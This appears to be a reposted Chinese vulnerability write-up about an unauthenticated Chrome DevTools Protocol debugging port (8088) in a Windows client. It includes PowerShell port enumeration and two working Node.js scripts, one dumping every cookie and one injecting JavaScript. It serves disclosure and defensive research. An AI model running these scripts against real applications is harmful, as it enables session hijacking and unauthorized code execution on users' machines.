文章总结: Windows客户端存在CDP调试端口未授权漏洞,攻击者可通过8088端口获取Cookie并执行XSS攻击。文章详细演示了使用chrome-remote-interface库连接该端口获取Cookie的过程,以及如何执行JavaScript代码。该漏洞可能导致敏感信息泄露,建议开发者限制调试端口访问权限,避免在生产环境中开启未授权的调试接口。
综合评分: 86
文章分类: 漏洞分析,WEB安全,客户端安全,应用安全,终端安全
【Windows客户端】CDP调试端口未授权导致获取Cookie
原创
挖个洞先
挖个洞先
2025年10月20日 10:46
北京
“ 等价交换!我的人生给你一半,把你的一半人生交给我。
说什么一半,全部给你哦。——《钢之炼金术师FA》S1E64 ”
01
—
漏洞证明
1、配置文件发现了一个8088调试端口
2、查询当前开放端口,这里的8088是本地回环127本地攻击,如果是0.0.0.0可在同一局域网内远程攻击
Get-NetTCPConnection | Where-Object { $_.State -eq "Listen" } | Select-Object LocalAddress, LocalPort, OwningProcess
3、使用chrome打开http://localhost:8088/
4、安装chrome-remote-interface库
npm install chrome-remote-interface
5、获取cookie
node getCookie.js
const CDP = require('chrome-remote-interface');
(async () => { try { const client = await CDP({port: 8088}); const {Network} = client;
await Network.enable(); const cookies = await Network.getAllCookies();
console.log("Cookies:"); console.log(cookies.cookies);
await client.close(); } catch (err) { console.error("Error:", err); }})();
6、xss
node xss.js
const CDP = require('chrome-remote-interface');
(async () => { try { const client = await CDP({port: 8088}); const {Runtime} = client;
const result = await Runtime.evaluate({ expression: `alert(123);`, returnByValue: true });
console.log("Injection result:", result.result.value);
await client.close(); } catch (err) { console.error("Error:", err); }})();
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:挖个洞先 挖个洞先《【Windows客户端】CDP调试端口未授权导致获取Cookie》